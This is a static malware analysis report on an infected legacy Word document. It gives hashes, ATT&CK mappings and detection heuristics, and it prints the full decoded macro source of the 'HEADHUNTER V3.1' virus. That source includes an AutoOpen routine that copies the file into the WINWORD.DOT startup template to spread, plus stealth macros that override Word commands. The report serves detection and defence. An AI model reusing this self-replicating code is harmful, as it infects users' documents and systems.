Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1955453126cfa958…

MALICIOUS

Office (OLE)

36.0 KB Created: 2001-12-17 09:35:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 0271b10cf06b89ecf237194a750f82da SHA-1: d0d81e1769a70fe1c22ed5e8864448b046a9f9f1 SHA-256: 1955453126cfa958875ed0605581d9225b69116ab15b7a75857eefadad45946a
68 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample exhibits characteristics of a legacy WordBasic macro virus, specifically triggering 'OLE_LEGACY_WORDBASIC_MACRO_VIRUS' and 'OLE_VBA_AUTOOPEN' heuristics. The presence of an AutoOpen macro indicates an intent to execute malicious code automatically when the document is opened, likely for further infection or payload delivery. The VBA code itself is heavily commented with references to 'HEADHUNTER V3.1' and 'Boring experimental Winword virus', further supporting its malicious nature.

Heuristics 3

  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "AutoOpen"

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2652 bytes
SHA-256: d4ede365662124ab4d92e043da1f0e18f299b5810999b7e960d433551aec9b69
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "ExtrasMakro"

Public Sub MAIN()
Attribute MAIN.VB_Description = "Erstellt, lцscht und ьberarbeitet einen Makro oder fьhrt ihn aus."
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.ExtrasMakro.MAIN"
On Error GoTo -1: On Error GoTo Exit_
Dim dlg As Object: Set dlg = WordBasic.DialogRecord.ToolsMacro(False)
WordBasic.CurValues.ToolsMacro dlg
dlg.Show = 1
WordBasic.Dialog.ToolsMacro dlg
WordBasic.ToolsMacro dlg
Exit_:
End Sub

Attribute VB_Name = "DateiNeu"

Public Sub MAIN()
Attribute MAIN.VB_Description = "Erstellt ein neues Dokument oder eine Dokumentvorlage."
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.DateiNeu.MAIN"
Dim F242$
On Error GoTo -1: On Error GoTo Exit_
Dim dlg As Object: Set dlg = WordBasic.DialogRecord.FileNew(False)
WordBasic.CurValues.FileNew dlg
WordBasic.Dialog.FileNew dlg
F242$ = WordBasic.[DefaultDir$](8) + "\WINWORD.DOT"
If WordBasic.[Files$](F242$) <> "" Then
 dlg.Template = F242$
 dlg.NewTemplate = 1
End If
WordBasic.FileNew dlg
WordBasic.EditSelectAll
WordBasic.WW6_EditClear
Exit_:
End Sub

Attribute VB_Name = "AutoOpen"

Rem  ********************************************************************
Rem  ***    <HEADHUNTER V3.1> by Neurobasher, 19.10.1995, Germany     ***
Rem  *** Boring experimental Winword virus with minor retro & stealth ***
Rem  ********************************************************************
Rem  *** "I'm looking for a man who knows the rules of the game"      ***
Rem  *** "Who's able to forget them to realize my aim"                ***
Rem  ********************************************************************

Public Sub MAIN()
Dim F242$
On Error GoTo -1: On Error GoTo Exit_

If WordBasic.Second(WordBasic.Now()) = 1 Then
 WordBasic.MsgBox "One - You lock the target" + Chr(13) + "Two - You bait the line" + Chr(13) + "Three - You slowly spread the net" + Chr(13) + "And four - You catch the man", "<HeadHunter V3.1>"
End If

If WordBasic.[DefaultDir$](8) = "" Then
 WordBasic.MkDir WordBasic.[DefaultDir$](9) + "\AutoStrt"
 WordBasic.ChDefaultDir WordBasic.[DefaultDir$](9) + "\AutoStrt", 8
End If

F242$ = WordBasic.[DefaultDir$](8) + "\WINWORD.DOT"
If WordBasic.[Files$](F242$) = "" Then
 WordBasic.CopyFile WordBasic.[FileName$](), F242$
 WordBasic.AddAddIn F242$, 1
End If

Exit_:
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.